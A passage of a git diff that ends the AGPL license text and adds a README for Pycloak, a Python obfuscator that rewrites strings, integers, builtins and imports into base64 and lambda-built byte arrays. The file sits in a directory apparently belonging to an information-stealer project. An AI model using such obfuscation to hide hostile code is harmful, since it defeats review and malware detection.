price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Remote Network Interaction; Use with the GNU General Public License. + + Notwithstanding any other provision of this License, if you modify the +Program, your modified version must prominently offer all users +interacting with it remotely through a computer network (if your version +supports such interaction) an opportunity to receive the Corresponding +Source of your version by providing access to the Corresponding Source +from a network server at no charge, through some standard or customary +means of facilitating copying of software. This Corresponding Source +shall include the Corresponding Source for any work covered by version 3 +of the GNU General Public License that is incorporated pursuant to the +following paragraph. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the work with which it is combined will remain governed by version +3 of the GNU General Public License. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU Affero General Public License from time to time. Such new versions +will be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU Affero General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU Affero General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU Affero General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU Affero General Public License as published + by the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU Affero General Public License for more details. + + You should have received a copy of the GNU Affero General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If your software can interact with users remotely through a computer +network, you should also make sure that it provides a way for users to +get its source. For example, if your program is a web application, its +interface could display a "Source" link that leads users to an archive +of the code. There are many ways you could offer source, and different +solutions will be better for different programs; see section 13 for the +specific requirements. + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU AGPL, see +. diff --git a/Rose-Stealerv1/resources/utils/obfuscation/pycloak-main/README.md b/Rose-Stealerv1/resources/utils/obfuscation/pycloak-main/README.md new file mode 100644 index 0000000..19966d6 --- /dev/null +++ b/Rose-Stealerv1/resources/utils/obfuscation/pycloak-main/README.md @@ -0,0 +1,107 @@ + +# Pycloak + +[![AGPL License](https://img.shields.io/badge/license-AGPL-blue.svg)](https://choosealicense.com/licenses/agpl-3.0/) + +Python 3.x source code obfuscator for hiding and protecting production code. + +## Examples + +### Strings + +```python +x = 'Hello World' +``` +```python +x = __builtins__.__dict__[bytes([(lambda G: G + (G - G))(56 + 18 + 19 + 2), (lambda h: h + (h - h))(70 + 22 + 1 + 2), (lambda p: p + (p - p))(52 + 20 + 8 + 6 + 2 + 11 + 2 + 4), (lambda V: V + (V - V))(44 + 12 + 52 + 1), (lambda r: r + (r - r))(80 + 31 + 1), (lambda b: b + (b - b))(62 + 31 + 11 + 2 + 2 + 3), (lambda m: m + (m - m))(46 + 31 + 14 + 7 + 12 + 4), (lambda K: K + (K - K))(23 + 75 + 18), (lambda q: q + (q - q))(60 + 29 + 4 + 1 + 1), (lambda u: u + (u - u))(36 + 35 + 5 + 15 + 3 + 1)]).decode('utf-8')](bytes([(lambda i: i + (i - i))(88 + 4 + 3 + 3), (lambda i: i + (i - i))(83 + 14), (lambda K: K + (K - K))(83 + 22 + 7 + 3), (lambda A: A + (A - A))(84 + 5 + 6 + 6), (lambda n: n + (n - n))(11 + 8 + 13 + 1 + 18 + 1 + 2), (lambda T: T + (T - T))(1 + 47 + 4)]).decode('utf-8')).b64decode(b'SGVsbG8gV29ybGQ=').decode(bytes([(lambda V: V + (V - V))(46 + 50 + 8 + 6 + 7), (lambda p: p + (p - p))(104 + 12), (lambda s: s + (s - s))(56 + 37 + 6 + 3), (lambda g: g + (g - g))(1 + 17 + 23 + 4), (lambda D: D + (D - D))(29 + 21 + 6)]).decode('utf-8')) +``` +In the first pass the string is base64 encoded. Then a second pass goes over all the newly made strings and converts them to byte arrays. Each integer in each byte array is converted to an arbitrary lambda function that inflates the code size. + +### Integers + +```python +x = 123 +``` +```python +x = int(__builtins__.__dict__[bytes([(lambda W: W + (W - W))(38 + 51 + 3 + 2 + 1), (lambda e: e + (e - e))(9 + 10 + 29 + 18 + 16 + 12 + 1), (lambda M: M + (M - M))(1 + 19 + 38 + 39 + 2 + 4 + 2), (lambda P: P + (P - P))(4 + 94 + 4 + 6 + 1), (lambda S: S + (S - S))(60 + 2 + 44 + 4 + 1 + 1), (lambda L: L + (L - L))(109 + 1 + 1), (lambda I: I + (I - I))(14 + 6 + 80 + 13 + 1), (lambda W: W + (W - W))(31 + 59 + 16 + 2 + 8), (lambda q: q + (q - q))(65 + 13 + 16 + 1), (lambda Q: Q + (Q - Q))(44 + 23 + 4 + 6 + 3 + 9 + 5 + 1)]).decode('utf-8')](bytes([(lambda V: V + (V - V))(12 + 36 + 47 + 1 + 2), (lambda X: X + (X - X))(53 + 34 + 9 + 1), (lambda l: l + (l - l))(67 + 22 + 22 + 2 + 2), (lambda m: m + (m - m))(81 + 14 + 5 + 1), (lambda j: j + (j - j))(53 + 1), (lambda s: s + (s - s))(4 + 18 + 28 + 2)]).decode('utf-8')).b64decode(b'MTIz').decode(bytes([(lambda M: M + (M - M))(92 + 17 + 3 + 3 + 1 + 1), (lambda K: K + (K - K))(76 + 35 + 2 + 2 + 1), (lambda W: W + (W - W))(48 + 53 + 1), (lambda x: x + (x - x))(12 + 23 + 4 + 1 + 1 + 4), (lambda Y: Y + (Y - Y))(56)]).decode('utf-8'))) +``` + +### Builtins + +```python +print() +``` +```python +__builtins__.__dict__[__builtins__.__dict__[bytes([(lambda e: e + (e - e))(80 + 14 + 1), (lambda A: A + (A - A))(58 + 2 + 4 + 13 + 9 + 5 + 2 + 1 + 1), (lambda J: J + (J - J))(3 + 89 + 13), (lambda n: n + (n - n))(73 + 33 + 3), (lambda h: h + (h - h))(108 + 4), (lambda G: G + (G - G))(56 + 46 + 7 + 1 + 1), (lambda h: h + (h - h))(18 + 18 + 44 + 5 + 21 + 3 + 2 + 3), (lambda o: o + (o - o))(13 + 79 + 10 + 6 + 4 + 1 + 3), (lambda i: i + (i - i))(58 + 11 + 12 + 3 + 7 + 4), (lambda V: V + (V - V))(42 + 47 + 3 + 2 + 1)]).decode('utf-8')](bytes([(lambda T: T + (T - T))(37 + 44 + 8 + 9), (lambda M: M + (M - M))(53 + 11 + 6 + 9 + 2 + 2 + 14), (lambda L: L + (L - L))(24 + 90 + 1), (lambda j: j + (j - j))(71 + 28 + 2), (lambda Z: Z + (Z - Z))(37 + 2 + 9 + 3 + 1 + 1 + 1), (lambda N: N + (N - N))(21 + 13 + 13 + 3 + 2)]).decode('utf-8')).b64decode(b'cHJpbnQ=').decode(bytes([(lambda M: M + (M - M))(17 + 43 + 5 + 47 + 3 + 2), (lambda j: j + (j - j))(55 + 36 + 5 + 13 + 4 + 1 + 2), (lambda M: M + (M - M))(1 + 79 + 17 + 1 + 3 + 1), (lambda f: f + (f - f))(1 + 34 + 1 + 4 + 3 + 2), (lambda l: l + (l - l))(29 + 9 + 6 + 5 + 4 + 2 + 1)]).decode('utf-8'))]() +``` + +### Constants + +```python +True +False +None +``` + +```python +() == () +() == [] +(lambda : None)() +``` + +### Imports + +```python +import os +``` +```python +os = __builtins__.__dict__[__builtins__.__dict__[bytes([(lambda l: l + (l - l))(77 + 10 + 7 + 1), (lambda a: a + (a - a))(69 + 14 + 10 + 2), (lambda a: a + (a - a))(75 + 18 + 8 + 2 + 2), (lambda q: q + (q - q))(80 + 19 + 8 + 2), (lambda f: f + (f - f))(77 + 4 + 17 + 9 + 1 + 4), (lambda W: W + (W - W))(82 + 21 + 3 + 3 + 1 + 1), (lambda E: E + (E - E))(81 + 30 + 3), (lambda W: W + (W - W))(57 + 51 + 4 + 4), (lambda s: s + (s - s))(54 + 8 + 20 + 7 + 6), (lambda o: o + (o - o))(50 + 29 + 8 + 5 + 3)]).decode(bytes([(lambda L: L + (L - L))(92 + 10 + 7 + 6 + 1 + 1), (lambda d: d + (d - d))(73 + 26 + 9 + 4 + 3 + 1), (lambda N: N + (N - N))(81 + 4 + 4 + 7 + 6), (lambda C: C + (C - C))(9 + 6 + 22 + 1 + 6 + 1), (lambda M: M + (M - M))(21 + 26 + 2 + 4 + 2 + 1)]).decode('utf-8'))](bytes([(lambda C: C + (C - C))(29 + 53 + 7 + 4 + 5), (lambda U: U + (U - U))(23 + 8 + 62 + 4), (lambda f: f + (f - f))(61 + 17 + 10 + 25 + 2), (lambda V: V + (V - V))(34 + 5 + 25 + 10 + 22 + 5), (lambda z: z + (z - z))(15 + 25 + 14), (lambda l: l + (l - l))(44 + 1 + 7)]).decode(bytes([(lambda L: L + (L - L))(92 + 10 + 7 + 6 + 1 + 1), (lambda d: d + (d - d))(73 + 26 + 9 + 4 + 3 + 1), (lambda N: N + (N - N))(81 + 4 + 4 + 7 + 6), (lambda C: C + (C - C))(9 + 6 + 22 + 1 + 6 + 1), (lambda M: M + (M - M))(21 + 26 + 2 + 4 + 2 + 1)]).decode('utf-8'))).b64decode(b'X19pbXBvcnRfXw==').decode(bytes([(lambda W: W + (W - W))(107 + 4 + 1 + 4 + 1), (lambda N: N + (N - N))(22 + 8 + 70 + 9 + 5 + 2), (lambda N: N + (N - N))(94 + 1 + 3 + 3 + 1), (lambda z: z + (z - z))(19 + 21 + 3 + 2), (lambda a: a + (a - a))(27 + 23 + 3 + 3)]).decode(bytes([(lambda d: d + (d - d))(53 + 49 + 10 + 5), (lambda o: o + (o - o))(60 + 46 + 3 + 3 + 4), (lambda X: X + (X - X))(76 + 11 + 5 + 10), (lambda c: c + (c - c))(7 + 19 + 16 + 2 + 1), (lambda o: o + (o - o))(1 + 9 + 40 + 5 + 1)]).decode(bytes([(lambda L: L + (L - L))(92 + 10 + 7 + 6 + 1 + 1), (lambda d: d + (d - d))(73 + 26 + 9 + 4 + 3 + 1), (lambda N: N + (N - N))(81 + 4 + 4 + 7 + 6), (lambda C: C + (C - C))(9 + 6 + 22 + 1 + 6 + 1), (lambda M: M + (M - M))(21 + 26 + 2 + 4 + 2 + 1)]).decode('utf-8'))))](__builtins__.__dict__[__builtins__.__dict__[bytes([(lambda l: l + (l - l))(77 + 10 + 7 + 1), (lambda a: a + (a - a))(69 + 14 + 10 + 2), (lambda a: a + (a - a))(75 + 18 + 8 + 2 + 2), (lambda q: q + (q - q))(80 + 19 + 8 + 2), (lambda f: f + (f - f))(77 + 4 + 17 + 9 + 1 + 4), (lambda W: W + (W - W))(82 + 21 + 3 + 3 + 1 + 1), (lambda E: E + (E - E))(81 + 30 + 3), (lambda W: W + (W - W))(57 + 51 + 4 + 4), (lambda s: s + (s - s))(54 + 8 + 20 + 7 + 6), (lambda o: o + (o - o))(50 + 29 + 8 + 5 + 3)]).decode(bytes([(lambda L: L + (L - L))(92 + 10 + 7 + 6 + 1 + 1), (lambda d: d + (d - d))(73 + 26 + 9 + 4 + 3 + 1), (lambda N: N + (N - N))(81 + 4 + 4 + 7 + 6), (lambda C: C + (C - C))(9 + 6 + 22 + 1 + 6 + 1), (lambda M: M + (M - M))(21 + 26 + 2 + 4 + 2 + 1)]).decode('utf-8'))](bytes([(lambda C: C + (C - C))(29 + 53 + 7 + 4 + 5), (lambda U: U + (U - U))(23 + 8 + 62 + 4), (lambda f: f + (f - f))(61 + 17 + 10 + 25 + 2), (lambda V: V + (V - V))(34 + 5 + 25 + 10 + 22 + 5), (lambda z: z + (z - z))(15 + 25 + 14), (lambda l: l + (l - l))(44 + 1 + 7)]).decode(bytes([(lambda L: L + (L - L))(92 + 10 + 7 + 6 + 1 + 1), (lambda d: d + (d - d))(73 + 26 + 9 + 4 + 3 + 1), (lambda N: N + (N - N))(81 + 4 + 4 + 7 + 6), (lambda C: C + (C - C))(9 + 6 + 22 + 1 + 6 + 1), (lambda M: M + (M - M))(21 + 26 + 2 + 4 + 2 + 1)]).decode('utf-8'))).b64decode(b'X19pbXBvcnRfXw==').decode(bytes([(lambda W: W + (W - W))(107 + 4 + 1 + 4 + 1), (lambda N: N + (N - N))(22 + 8 + 70 + 9 + 5 + 2), (lambda N: N + (N - N))(94 + 1 + 3 + 3 + 1), (lambda z: z + (z - z))(19 + 21 + 3 + 2), (lambda a: a + (a - a))(27 + 23 + 3 + 3)]).decode(bytes([(lambda d: d + (d - d))(53 + 49 + 10 + 5), (lambda o: o + (o - o))(60 + 46 + 3 + 3 + 4), (lambda X: X + (X - X))(76 + 11 + 5 + 10), (lambda c: c + (c - c))(7 + 19 + 16 + 2 + 1), (lambda o: o + (o - o))(1 + 9 + 40 + 5 + 1)]).decode(bytes([(lambda L: L + (L - L))(92 + 10 + 7 + 6 + 1 + 1), (lambda d: d + (d - d))(73 + 26 + 9 + 4 + 3 + 1), (lambda N: N + (N - N))(81 + 4 + 4 + 7 + 6), (lambda C: C + (C - C))(9 + 6 + 22 + 1 + 6 + 1), (lambda M: M + (M - M))(21 + 26 + 2 + 4 + 2 + 1)]).decode('utf-8'))))](bytes([(lambda C: C + (C - C))(29 + 53 + 7 + 4 + 5), (lambda U: U + (U - U))(23 + 8 + 62 + 4), (lambda f: f + (f - f))(61 + 17 + 10 + 25 + 2), (lambda V: V + (V - V))(34 + 5 + 25 + 10 + 22 + 5), (lambda z: z + (z - z))(15 + 25 + 14), (lambda l: l + (l - l))(44 + 1 + 7)]).decode(bytes([(lambda L: L + (L - L))(92 + 10 + 7 + 6 + 1 + 1), (lambda d: d + (d - d))(73 + 26 + 9 + 4 + 3 + 1), (lambda N: N + (N - N))(81 + 4 + 4 + 7 + 6), (lambda C: C + (C - C))(9 + 6 + 22 + 1 + 6 + 1), (lambda M: M + (M - M))(21 + 26 + 2 + 4 + 2 + 1)]).decode('utf-8'))).b64decode(b'b3M=').decode(bytes([(lambda W: W + (W - W))(107 + 4 + 1 + 4 + 1), (lambda N: N + (N - N))(22 + 8 + 70 + 9 + 5 + 2), (lambda N: N + (N - N))(94 + 1 + 3 + 3 + 1), (lambda z: z + (z - z))(19 + 21 + 3 + 2), (lambda a: a + (a - a))(27 + 23 + 3 + 3)]).decode(bytes([(lambda d: d + (d - d))(53 + 49 + 10 + 5), (lambda o: o + (o - o))(60 + 46 + 3 + 3 + 4), (lambda X: X + (X - X))(76 + 11 + 5 + 10), (lambda c: c + (c - c))(7 + 19 + 16 + 2 + 1), (lambda o: o + (o - o))(1 + 9 + 40 + 5 + 1)]).decode(bytes([(lambda L: L + (L - L))(92 + 10 + 7 + 6 + 1 + 1), (lambda d: d + (d - d))(73 + 26 + 9 + 4 + 3 + 1), (lambda N: N + (N - N))(81 + 4 + 4 + 7 + 6), (lambda C: C + (C - C))(9 + 6 + 22 + 1 + 6 + 1), (lambda M: M + (M - M))(21 + 26 + 2 + 4 + 2 + 1)]).decode('utf-8'))))) +``` + +### Functions and Variables +```python +def main(): + x = 'test' + +main() +``` +```python +def __9838854117__(): + __3830020156__ = __builtins__.__dict__[bytes([(lambda y: y + (y - y))(26 + 1 + 8 + 56 + 4), (lambda l: l + (l - l))(79 + 15 + 1), (lambda Z: Z + (Z - Z))(9 + 89 + 3 + 2 + 2), (lambda d: d + (d - d))(77 + 19 + 7 + 4 + 1 + 1), (lambda G: G + (G - G))(24 + 19 + 55 + 10 + 1 + 3), (lambda R: R + (R - R))(6 + 69 + 30 + 2 + 1 + 2 + 1), (lambda i: i + (i - i))(97 + 9 + 6 + 1 + 1), (lambda b: b + (b - b))(9 + 41 + 3 + 49 + 11 + 1 + 2), (lambda v: v + (v - v))(69 + 10 + 10 + 1 + 3 + 2), (lambda s: s + (s - s))(23 + 27 + 17 + 24 + 2 + 1 + 1)]).decode('utf-8')](bytes([(lambda K: K + (K - K))(53 + 7 + 4 + 29 + 4 + 1), (lambda z: z + (z - z))(3 + 20 + 1 + 1 + 30 + 6 + 22 + 10 + 4), (lambda c: c + (c - c))(17 + 58 + 32 + 8), (lambda d: d + (d - d))(61 + 3 + 20 + 6 + 7 + 3 + 1), (lambda d: d + (d - d))(44 + 6 + 3 + 1), (lambda Q: Q + (Q - Q))(8 + 32 + 7 + 4 + 1)]).decode('utf-8')).b64decode(b'dGVzdA==').decode(bytes([(lambda N: N + (N - N))(42 + 30 + 25 + 12 + 6 + 1 + 1), (lambda w: w + (w - w))(45 + 36 + 28 + 3 + 4), (lambda X: X + (X - X))(39 + 29 + 30 + 4), (lambda n: n + (n - n))(20 + 7 + 1 + 17), (lambda c: c + (c - c))(38 + 9 + 3 + 6)]).decode('utf-8')) +__9838854117__() +``` + +## Usage 